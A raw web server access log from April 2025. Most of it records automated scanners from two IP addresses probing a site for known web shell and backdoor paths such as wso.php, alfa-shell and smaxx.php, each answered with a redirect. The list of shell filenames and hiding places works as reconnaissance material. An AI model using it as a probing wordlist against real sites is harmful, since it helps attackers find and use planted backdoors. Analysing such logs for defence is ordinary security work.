[11/Apr/2025:14:44:05 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:06 -0400] "GET /wp-includes/ID3/module.tag.id3v3.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:06 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:07 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:08 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:08 -0400] "GET /wp/wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:08 -0400] "GET /aleXus.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:09 -0400] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:09 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:09 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:10 -0400] "GET /css/dist/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:10 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:10 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:11 -0400] "GET /wp-content/plugins/td-cloud-library/includes/dir/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:11 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:12 -0400] "GET /wp-content/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:12 -0400] "GET /about.php?dir=/home/prsvnvn/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:12 -0400] "GET /wp-content/plugins/setup HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:13 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:13 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:14 -0400] "GET /wp-admin/ccx/index.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:14 -0400] "GET /wp-includes/SimplePie/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:15 -0400] "GET /wp-content/plugins/pahidtd/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:15 -0400] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:16 -0400] "GET /wp-content/plugins/kfhfxvy/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:16 -0400] "GET /.well-known/themes HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:17 -0400] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:17 -0400] "GET /wordpress/wp-content/themes/as/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:17 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:18 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:18 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:18 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:19 -0400] "GET /baja.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:19 -0400] "GET /wp-includes/mah.php999 HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:20 -0400] "GET /ab.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:21 -0400] "GET /webhook.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:21 -0400] "GET /wp-content/uploads/BbUMY/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:22 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:23 -0400] "GET /wp-content/plugins/backup-backup/includes/1155949024...php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:23 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:24 -0400] "GET /.well-known/pki-validation/lang-load-role.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:24 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:25 -0400] "GET /wp-includes/rest-api/network.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:26 -0400] "GET /wp-admin/js/widgets/cong.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:26 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:27 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:27 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:28 -0400] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:28 -0400] "GET /wp-content/plugins/upme/ajax/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:29 -0400] "GET /wp-includes/Requests/Exception/HTTP/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:29 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:29 -0400] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:30 -0400] "GET /wp-content/uploads/revslider/templates/creativefrontpage/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:30 -0400] "GET /wordpress/wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:31 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:31 -0400] "GET /plugins/three-column-screen-layout/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:31 -0400] "GET /gh.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:32 -0400] "GET /wp-includes/Text/Diff/Engine/aaa.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:33 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:33 -0400] "GET /images/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:33 -0400] "GET /security.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:34 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:34 -0400] "GET /wp/wp-admin/includes/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:34 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:35 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:35 -0400] "GET /wp-content/themes/fswefy0o/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:36 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:36 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:36 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:37 -0400] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:37 -0400] "GET /gallery_upload.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:37 -0400] "GET /wp-includes/Requests/about.php/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:38 -0400] "GET /wp-content/plugins/trfree/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:38 -0400] "GET /img/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:38 -0400] "GET /wp-content/uploads/2023/10/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:39 -0400] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:39 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:40 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:40 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:40 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:41 -0400] "GET /wp-admin/maint/flower.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:41 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:42 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:43 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:43 -0400] "GET /wp-content/uploads/--wp-lgj.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:43 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:44 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:44 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:45 -0400] "GET /config_save.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:45 -0400] "GET /wp-content/plugins/idjnpjx/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:45 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:46 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:47 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:47 -0400] "GET /tools.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:48 -0400] "GET /wp-includes/js/tinymce/langs/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:49 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:50 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:50 -0400] "GET /wp-includes/pomo/user-new.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:50 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:51 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:52 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:52 -0400] "GET /wp/wp-admin/includes/class-wp-page-mvb2yr.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:52 -0400] "GET /libraries/vendor/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:53 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:53 -0400] "GET /upload2/10-27-24_8:26_1.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:54 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:54 -0400] "GET /optimizer.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:55 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:55 -0400] "GET /wp-content/plugins/wso.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:56 -0400] "GET /introduction.php HTTP/1.1" 301 795 "-" "-" 192.161.162.180 - - [11/Apr/2025:14:44:56 -0400] "POST /api/upload.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" 13.68.237.164 - - [11/Apr/2025:14:44:56 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:57 -0400] "GET /wp-content/plugins/nloisib/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:57 -0400] "GET /wp-includes/konten/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:58 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:58 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:59 -0400] "GET /wp-content/uploads/2014/03/smile.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:59 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:44:59 -0400] "GET /cart.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:45:00 -0400] "GET /files/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:45:00 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:45:01 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:45:01 -0400] "GET /wp-admin/css/colors/blue/CasperExV1.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:45:01 -0400] "GET /assets/bypass.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:45:02 -0400] "GET /wp-content/themes/bltm/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:45:03 -0400] "GET /img/dot.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:45:03 -0400] "GET /TNT.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:45:03 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:45:04 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:45:04 -0400] "GET /wp-includes/js/install.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:45:04 -0400] "GET /role.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:45:05 -0400] "GET /wp-content/plugins/vbcxdsf/ HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:45:06 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:45:09 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:45:10 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:45:12 -0400] "GET /wp-includes/js/dist/vendor/vcard.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:45:13 -0400] "GET /assets/images/1p.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:45:15 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:45:17 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:45:18 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:45:19 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:45:21 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:45:22 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:45:23 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 13.68.237.164 - - [11/Apr/2025:14:45:23 -0400] "GET /menu-header.php HTTP/1.1" 301 795 "-" "-" 66.249.79.96 - - [11/Apr/2025:14:46:52 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.96 - - [11/Apr/2025:14:46:53 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 43.142.179.19 - - [11/Apr/2025:14:50:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 10; LIO-AN00 Build/HUAWEILIO-AN00; wv) MicroMessenger Weixin QQ AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.3904.62 XWEB/2692 MMWEBSDK/200901 Mobile Safari/537.36" 43.142.179.19 - - [11/Apr/2025:14:51:08 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 10; LIO-AN00 Build/HUAWEILIO-AN00; wv) MicroMessenger Weixin QQ AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.3904.62 XWEB/2692 MMWEBSDK/200901 Mobile Safari/537.36" 43.142.179.19 - - [11/Apr/2025:14:51:28 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 10; LIO-AN00 Build/HUAWEILIO-AN00; wv) MicroMessenger Weixin QQ AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.3904.62 XWEB/2692 MMWEBSDK/200901 Mobile Safari/537.36" 137.135.82.75 - - [11/Apr/2025:14:56:31 -0400] "GET /.well-known/pki-validation/wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:32 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:32 -0400] "GET /1p.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:32 -0400] "GET /wp-includes/SimplePie/HdGGN/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:33 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:33 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:33 -0400] "GET /css/dist/block-directory/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:34 -0400] "GET /migrate.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:34 -0400] "GET /wp-content/themes/twentytwentytwo/inc/patterns/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:34 -0400] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:35 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:35 -0400] "GET /wp-content/plugins/ojyiyys/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:35 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:36 -0400] "GET /wp-includes/blocks/shortcode/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:36 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:36 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:36 -0400] "GET /.well-known/pki-validation/ssl.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:37 -0400] "GET /resize.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:37 -0400] "GET /wp-includes/css/loco.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:37 -0400] "GET /wp-content/plugins/xt/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:38 -0400] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:38 -0400] "GET /wp-content/uploads/suit5y.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:38 -0400] "GET /wp-content/plugins/qwfdsop/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:38 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:39 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:39 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:39 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:39 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:40 -0400] "GET /stats.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:40 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:40 -0400] "GET /libraries/phpmailer/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:41 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:41 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:41 -0400] "GET /.well-known/caches.php.suspected HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:41 -0400] "GET /.well-known/acme-challenge/adminfuns.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:41 -0400] "GET /images/headers/strenms.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:42 -0400] "GET /wp-content/plugins/mqdlgzp/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:42 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:42 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:42 -0400] "GET /wp-content/plugins/lgexwbe/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:43 -0400] "GET /wordpress/wp-content/plugins/sdxxcfgt/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:43 -0400] "GET /wp-content/plugins/WordPressCore/smaxx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:43 -0400] "GET /logout.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:43 -0400] "GET /wp-includes/php-compat/wp/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:44 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:44 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:44 -0400] "GET /alfanew.PHP7 HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:44 -0400] "GET /wp-content/plugins/myhbidf/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:45 -0400] "GET /xt/smaxx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:45 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:45 -0400] "GET /wp-content/upgrade/alfa-shell-v4.1-tesla-decoded.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:45 -0400] "GET /wp-content/themes/astra/inc/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:45 -0400] "GET /modules/mod_webshell/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:46 -0400] "GET /wp-content/plugins/plugins/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:46 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:46 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:46 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:46 -0400] "GET /wp-includes/Text/Diff/Engine/com_search.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:47 -0400] "GET /images/resumes/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:47 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:47 -0400] "GET /wp-admin/plugins HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:47 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:47 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:48 -0400] "GET /wp-content/themes/astra/inc/builder/type/header/button/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:48 -0400] "GET /wp-includes/Cez57/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:48 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - 